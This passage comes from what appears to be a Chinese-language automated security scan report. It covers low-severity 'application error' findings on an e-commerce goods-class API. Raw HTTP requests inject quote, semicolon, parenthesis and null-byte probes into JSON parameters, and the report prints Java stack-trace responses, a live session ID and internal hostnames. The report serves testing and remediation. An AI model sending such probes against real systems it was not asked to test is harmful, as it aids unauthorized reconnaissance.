Connection: keep-alive
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/json
Accept-Language: en-US, en; q=0.8
 "enterpriseid": "
                        55XYZ",
 "classid": "2707",
 "parentcode": "04",
 "classcode": "04001",
"classname": "\u884c\u653f\u670d\u52a1",
 "status": "0",
 "seq": "12",
 "endflag": "1",
"level": "2",
 "imgurl": ""
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:22:09 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
```

Can not construct instance of java.lang.Long from String value '55XYZ': not a valid Long value at [Source: io.netty.buffer.ByteBufInputStream@2a6a74a9; line: 1, column: 2] (through reference chain: com.suneee.scn.goods.model.dbo.PubGoodsclassDO["enterpriseid"])

变体-|2/9

差异: 参数 从以下位置进行控制: ->"enterpriseid" 至: ORIG VAL .

推理: 应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。

测试请求和响应:

```
POST /goodsclass/goodsclassAddToSave HTTP/1.1
Content-Length: 178
sessionId: c5b8689a1098705cd3ffdff0d57563a1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Connection: keep-alive
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/json
Accept-Language: en-US, en; q=0.8
 "enterpriseid.": "55",
 "classid": "2707",
 "parentcode": "04"
 "classcode": "04001",
 "classname": "\u884c\u653f\u670d\u52a1",
 "status": "0",
 "seq": "12",
 "endflag": "1",
 "level": "2",
 "imgurl": ""
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openrestv
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:22:09 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
Unrecognized field "enterpriseid." (Class com.suneee.scn.goods.model.dbo.PubGoodsclassDO), not
marked as ignorable
 at [Source: io.netty.buffer.ByteBufInputStream@11b4a643; line: 1, column: 19] (through reference
chain: com.suneee.scn.goods.model.dbo.PubGoodsclassDO["enterpriseid."])
```

变体-|3/9

差异: 参数 从以下位置进行控制: (->"enterpriseid") 至: ORIG VAL []

推理: 应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。

测试请求和响应:

```
POST /goodsclass/goodsclassAddToSave HTTP/1.1
Content-Length: 179
```

```
sessionId: c5b8689a1098705cd3ffdff0d57563a1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Connection: keep-alive
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/json
Accept-Language: en-US, en; q=0.8
 "enterpriseid[]": "55",
 "classid": "2707",
 "parentcode": "04",
 "classcode": "04001",
"classname": "\u884c\u653f\u670d\u52a1",
 "status": "0",
 "seq": "12",
 "endflag": "1",
 "level": "2",
 "imgurl": ""
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:22:09 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
Unrecognized field "enterpriseid[]" (Class com.suneee.scn.goods.model.dbo.PubGoodsclassDO), not
marked as ignorable
at [Source: io.netty.buffer.ByteBufInputStream@70c15934; line: 1, column: 20] (through reference
chain: com.suneee.scn.goods.model.dbo.PubGoodsclassDO["enterpriseid[]"])
```

变体-|4/9

差异: 参数 从以下位置进行控制: 55 至: \$27

推理: 应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。

测试请求和响应:

```
POST /goodsclass/goodsclassAddToSave HTTP/1.1
Content-Length: 176
sessionId: c5b8689a1098705cd3ffdff0d57563a1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Connection: keep-alive
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/json
Accept-Language: en-US, en; q=0.8
 "enterpriseid": "'",
 "classid": "2707",
 "parentcode": "04",
 "classcode": "04001",
"classname": "\u884c\u653f\u670d\u52a1",
 "status": "0",
 "seq": "12",
 "endflag": "1",
 "level": "2",
 "imgurl": ""
```

```
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with,content-type,sessionid
Server: openresty
Access-Control-Allow-Methods: GET,FOST,HEAD,PUT,DELETE,OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:22:09 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked

Can not construct instance of java.lang.Long from String value ''': not a valid Long value at [Source: io.netty.buffer.ByteBufInputStream@7bc071e2; line: 1, column: 2] (through reference chain: com.suneee.scn.goods.model.dbo.PubGoodsclassDO["enterpriseid"])
```

变体-|5/9

差异: 参数 从以下位置进行控制: 55 至: (1)

推理: 应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。

测试请求和响应:

```
POST /goodsclass/goodsclassAddToSave HTTP/1.1
Content-Length: 178
sessionId: c5b8689a1098705cd3ffdff0d57563a1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Connection: keep-alive
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/json
Accept-Language: en-US, en; q=0.8
 "enterpriseid": "\
 "classid": "2707",
 "parentcode": "04",
 "classcode": "04001",
"classname": "\u884c\u653f\u670d\u52a1",
 "status": "0",
 "seq": "12",
 "endflag": "1",
 "level": "2",
 "imgurl": ""
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:22:09 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
Can not construct instance of java.lang.Long from String value '\'': not a valid Long value
at [Source: io.netty.buffer.ByteBufInputStream@15e6db9; line: 1, column: 2] (through reference
chain: com.suneee.scn.goods.model.dbo.PubGoodsclassDO["enterpriseid"])
```

变体-|6/9

差异: 参数 从以下位置进行控制: 55 至: ;

推理: 应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。

测试请求和响应:

```
POST /goodsclass/goodsclassAddToSave HTTP/1.1
Content-Length: 176
sessionId: c5b8689a1098705cd3ffdff0d57563a1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Connection: keep-alive
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/json
Accept-Language: en-US, en; q=0.8
 "enterpriseid": ";",
 "classid": "2707",
 "parentcode": "04",
 "classcode": "04001",
 "classname": "\u884c\u653f\u670d\u52a1",
 "status": "0",
 "seq": "12",
 "endflag": "1",
 "level": "2",
 "imgurl": ""
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:22:09 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
Can not construct instance of java.lang.Long from String value ';': not a valid Long value
at [Source: io.netty.buffer.ByteBufInputStream@6800bcb6; line: 1, column: 2] (through reference
chain: com.suneee.scn.goods.model.dbo.PubGoodsclassDO["enterpriseid"])
```

变体-|7/9

差异: 参数 从以下位置进行控制: 55 至: "

推理: 应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。

测试请求和响应:

```
POST /goodsclass/goodsclassAddToSave HTTP/1.1
Content-Length: 177
sessionId: c5b8689a1098705cd3ffdff0d57563a1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Connection: keep-alive
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/json
Accept-Language: en-US,en;q=0.8
```

```
"enterpriseid": "\"",
 "classid": "2707",
 "parentcode": "04",
 "classcode": "04001",
 "classname": "\u884c\u653f\u670d\u52a1",
 "status": "0",
 "seq": "12",
"endflag": "1",
 "level": "2",
 "imgurl": ""
HTTP/1.1 500 Internal Server Error
{\tt Access-Control-Allow-Headers: x-requested-with, content-type, sessionid}
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:22:10 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
Can not construct instance of java.lang.Long from String value '"': not a valid Long value
 at [Source: io.netty.buffer.ByteBufInputStream@18888d40; line: 1, column: 2] (through reference
chain: com.suneee.scn.goods.model.dbo.PubGoodsclassDO["enterpriseid"])
```

变体-|8/9

差异: 参数 从以下位置进行控制: 55 至: ("





应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。 推理:

测试请求和响应:

```
POST /goodsclass/goodsclassAddToSave HTTP/1.1
Content-Length: 179
sessionId: c5b8689a1098705cd3ffdff0d57563a1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Connection: keep-alive
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/json
Accept-Language: en-US, en; q=0.8
 "enterpriseid": "\\
                          \"",
 "classid": "2707",
 "parentcode": "04",
 "classcode": "04001",
 "classname": "\u884c\u653f\u670d\u52a1",
 "status": "0",
 "seq": "12",
 "endflag": "1",
 "level": "2",
 "imgurl": ""
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:22:10 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
```

1/12/2018 529 Can not construct instance of java.lang.Long from String value '\"': not a valid Long value at [Source: io.netty.buffer.ByteBufInputStream@6ac8ablf; line: 1, column: 2] (through reference chain: com.suneee.scn.goods.model.dbo.PubGoodsclassDO["enterpriseid"])

变体-|9/9

差异: 参数 从以下位置进行控制: 55 至:)

推理: 应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。

测试请求和响应:

```
POST /goodsclass/goodsclassAddToSave HTTP/1.1
Content-Length: 176
sessionId: c5b8689a1098705cd3ffdff0d57563a1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Connection: keep-alive
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/json
Accept-Language: en-US, en; q=0.8
 "enterpriseid": ")",
 "classid": "2707",
 "parentcode": "04"
 "classcode": "04001",
 "classname": "\u884c\u653f\u670d\u52a1",
 "status": "0",
 "seq": "12",
"endflag": "1",
 "level": "2",
 "imgurl": ""
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openrestv
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:22:10 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
Can not construct instance of java.lang.Long from String value ')': not a valid Long value
 at [Source: io.netty.buffer.ByteBufInputStream@393801e5; line: 1, column: 2] (through reference
\verb|chain: com.suneee.scn.goods.model.dbo.PubGoodsclassDO["enterpriseid"]||
```

问题 **27 / 43** Toc

应用程序错误	
严重性:	参考
CVSS 分数:	0.0
URL:	http://vr-goods-rest-enterprise.mall.xt.weilian.cn/goodsclass/goodsclassAddToSave
实体:	->"classid" (Parameter)
风险:	可能会收集敏感的调试信息
原因:	未对入局参数值执行适当的边界检查 未执行验证以确保用户输入与预期的数据类型匹配
固定值:	验证参数值是否在其预计范围和类型内。不要输出调试错误消息和异常

变体-|1/9

推理: 应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。

测试请求和响应:

```
POST /goodsclass/goodsclassAddToSave HTTP/1.1
Content-Length: 178
sessionId: c5b8689a1098705cd3ffdff0d57563a1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Connection: keep-alive
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/json
Accept-Language: en-US, en; q=0.8
 "enterpriseid": "55",
 "classid.": "2707",
 "parentcode": "04",
 "classcode": "04001",
 "classname": "\u884c\u653f\u670d\u52a1",
 "status": "0",
 "seq": "12",
"endflag": "1",
 "level": "2",
 "imgurl": ""
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:22:09 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
Unrecognized field "classid." (Class com.suneee.scn.goods.model.dbo.PubGoodsclassDO), not marked
as ignorable
at [Source: io.netty.buffer.ByteBufInputStream@4e996846; line: 1, column: 34] (through reference
\verb|chain: com.suneee.scn.goods.model.dbo.PubGoodsclassDO["classid."]||\\
```

变体-|2/9

推理: 应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。

测试请求和响应:

```
POST /goodsclass/goodsclassAddToSave HTTP/1.1
Content-Length: 180
sessionId: c5b8689a1098705cd3ffdff0d57563a1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Connection: keep-alive
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/json
Accept-Language: en-US, en; q=0.8
 "enterpriseid": "55",
 "classid": "
 "parentcode": "04",
 "classcode": "04001",
"classname": "\u884c\u653f\u670d\u52a1",
 "status": "0",
 "seq": "12",
 "endflag": "1",
 "level": "2",
 "imgurl": ""
HTTP/1.1 500 Internal Server Error
{\tt Access-Control-Allow-Headers:} \ x-{\tt requested-with,content-type,sessionid}
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:22:09 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
Can not construct instance of java.lang.Long from String value '2707XYZ': not a valid Long value
at [Source: io.netty.buffer.ByteBufInputStream@2ba91b5c; line: 1, column: 21] (through reference
chain: com.suneee.scn.goods.model.dbo.PubGoodsclassDO["classid"])
```

变体-|3/9

差异: 参数 从以下位置进行控制: (->"classid") 至: ORIG VAL []

推理: 应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。

测试请求和响应:

```
POST /goodsclass/goodsclassAddToSave HTTP/1.1
Content-Length: 179
sessionId: c5b8689a1098705cd3ffdff0d57563a1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Connection: keep-alive
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/json
Accept-Language: en-US,en;q=0.8
```

```
"enterpriseid": "55",
 "classid[]": "2707",
 "parentcode": "04",
 "classcode": "04001",
"classname": "\u884c\u653f\u670d\u52a1",
 "status": "0",
 "seq": "12",
 "endflag": "1",
 "level": "2",
 "imgurl": ""
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:22:09 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
Unrecognized field "classid[]" (Class com.suneee.scn.goods.model.dbo.PubGoodsclassDO), not marked
as ignorable
at [Source: io.netty.buffer.ByteBufInputStream@6a1fbc8e; line: 1, column: 35] (through reference
chain: com.suneee.scn.goods.model.dbo.PubGoodsclassDO["classid[]"])
```

变体-|4/9

差异: 参数 从以下位置进行控制: 2707 至: \\$27

推理: 应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。

测试请求和响应:

```
POST /goodsclass/goodsclassAddToSave HTTP/1.1
Content-Length: 174
sessionId: c5b8689a1098705cd3ffdff0d57563a1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Connection: keep-alive
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/json
Accept-Language: en-US, en; q=0.8
 "enterpriseid": "55",
 "classid": "'",
 "parentcode": "04",
 "classcode": "04001",
 "classname": "\u884c\u653f\u670d\u52a1",
 "status": "0",
 "sea": "12",
 "endflag": "1",
 "level": "2",
 "imgurl": ""
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with,content-type,sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:22:09 GMT
Content-Type: text/plain; charset=UTF-8
```

```
Transfer-Encoding: chunked

Can not construct instance of java.lang.Long from String value ''': not a valid Long value at [Source: io.netty.buffer.ByteBufInputStream@2c12695f; line: 1, column: 21] (through reference chain: com.suneee.scn.goods.model.dbo.PubGoodsclassDO["classid"])
```

变体-|5/9

差异: 参数 从以下位置进行控制: 2707 至: (1)

推理: 应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。

测试请求和响应:

```
POST /goodsclass/goodsclassAddToSave HTTP/1.1
Content-Length: 176
sessionId: c5b8689a1098705cd3ffdff0d57563a1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Connection: keep-alive
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/json
Accept-Language: en-US, en; q=0.8
 "enterpriseid": "55",
 "classid": "\
 "parentcode": "04",
 "classcode": "04001",
 "classname": "\u884c\u653f\u670d\u52a1",
 "status": "0",
 "seq": "12",
 "endflag": "1",
 "level": "2",
 "imgurl": ""
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:22:09 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
Can not construct instance of java.lang.Long from String value '\'': not a valid Long value
 at [Source: io.netty.buffer.ByteBufInputStream@2874b3f0; line: 1, column: 21] (through reference
chain: com.suneee.scn.goods.model.dbo.PubGoodsclassDO["classid"])
```

变体-|6/9

差异: 参数 从以下位置进行控制: 2707 至: ;

推理: 应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。 **测试请求和响应:**

POST /goodsclass/goodsclassAddToSave HTTP/1.1

```
Content-Length: 174
sessionId: c5b8689a1098705cd3ffdff0d57563a1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Connection: keep-alive
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/json
Accept-Language: en-US, en; q=0.8
 "enterpriseid": "55",
 "classid": ";",
  "parentcode": "04",
 "classcode": "04001",
"classname": "\u884c\u653f\u670d\u52a1",
 "status": "0",
 "seq": "12",
 "endflag": "1",
 "level": "2",
 "imgurl": ""
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:22:09 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
Can not construct instance of java.lang.Long from String value ';': not a valid Long value
 at [Source: io.netty.buffer.ByteBufInputStream@34e91f2d; line: 1, column: 21] (through reference
chain: com.suneee.scn.goods.model.dbo.PubGoodsclassDO["classid"])
```

变体-|7/9

差异: 参数 从以下位置进行控制: 2707 至: "

推理: 应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。

测试请求和响应:

```
POST /goodsclass/goodsclassAddToSave HTTP/1.1
Content-Length: 175
sessionId: c5b8689a1098705cd3ffdff0d57563a1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Connection: keep-alive
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/json
Accept-Language: en-US, en; q=0.8
        "enterpriseid": "55",
 "classid": "\"",
 "parentcode": "04",
 "classcode": "04001",
"classname": "\u884c\u653f\u670d\u52a1",
 "status": "0",
 "seq": "12",
 "endflag": "1",
 "level": "2",
 "imgurl": ""
```

```
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with,content-type,sessionid
Server: openresty
Access-Control-Allow-Methods: GET,POST,HEAD,PUT,DELETE,OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:22:09 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked

Can not construct instance of java.lang.Long from String value '"': not a valid Long value at [Source: io.netty.buffer.ByteBufInputStream@lcd9769; line: 1, column: 21] (through reference chain: com.suneee.scn.goods.model.dbo.PubGoodsclassDO["classid"])
```

变体-|8/9

差异: 参数 从以下位置进行控制: 2707 至: \"

推理: 应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。 测试请求和响应:

```
POST /goodsclass/goodsclassAddToSave HTTP/1.1
Content-Length: 177
sessionId: c5b8689a1098705cd3ffdff0d57563a1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Connection: keep-alive
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/json
Accept-Language: en-US, en; q=0.8
 "enterpriseid": "55",
 "classid": "\\
 "parentcode": "04",
 "classcode": "04001",
"classname": "\u884c\u653f\u670d\u52a1",
 "status": "0",
 "seq": "12",
 "endflag": "1",
 "level": "2",
 "imgurl": ""
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:22:10 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
Can not construct instance of java.lang.Long from String value '\"': not a valid Long value
at [Source: io.netty.buffer.ByteBufInputStream@9e7dc1c; line: 1, column: 21] (through reference
chain: com.suneee.scn.goods.model.dbo.PubGoodsclassDO["classid"])
```

变体-|9/9

差异: 参数 从以下位置进行控制: 2707 至:)

推理: 应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。

测试请求和响应:

```
POST /goodsclass/goodsclassAddToSave HTTP/1.1
Content-Length: 174
sessionId: c5b8689a1098705cd3ffdff0d57563a1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Connection: keep-alive
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/json
Accept-Language: en-US, en; q=0.8
 "enterpriseid": "55",
 "classid": ")",
 "parentcode": "04",
 "classcode": "04001",
 "classname": "\u884c\u653f\u670d\u52a1",
 "status": "0",
 "seq": "12",
 "endflag": "1",
 "level": "2",
 "imgurl": ""
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:22:10 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
Can not construct instance of java.lang.Long from String value ')': not a valid Long value
at [Source: io.netty.buffer.ByteBufInputStream@4dlcfdf0; line: 1, column: 21] (through reference
chain: com.suneee.scn.goods.model.dbo.PubGoodsclassDO["classid"])
```

问题 28 / 43 Toc

应用程序错误	
严重性:	参考
CVSS 分数:	0.0
URL:	http://vr-goods-rest-enterprise.mall.xt.weilian.cn/goodsclass/goodsclassList
实体:	searchValue (Parameter)
风险:	可能会收集敏感的调试信息
原因:	未对入局参数值执行适当的边界检查 未执行验证以确保用户输入与预期的数据类型匹配
固定值:	验证参数值是否在其预计范围和类型内。不要输出调试错误消息和异常

变体-|1/2

差异: 参数 从以下位置进行控制: 一至: 😵00

推理: 应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。

测试请求和响应:

```
GET /goodsclass/goodsclassList?
draw=7&start=0&length=15&search%5Bregex%5D=false&pageNum=1&classcode=03&searchValue=%00 HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Connection: keep-alive
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Accept: application/json, text/javascript, */*; q=0.01
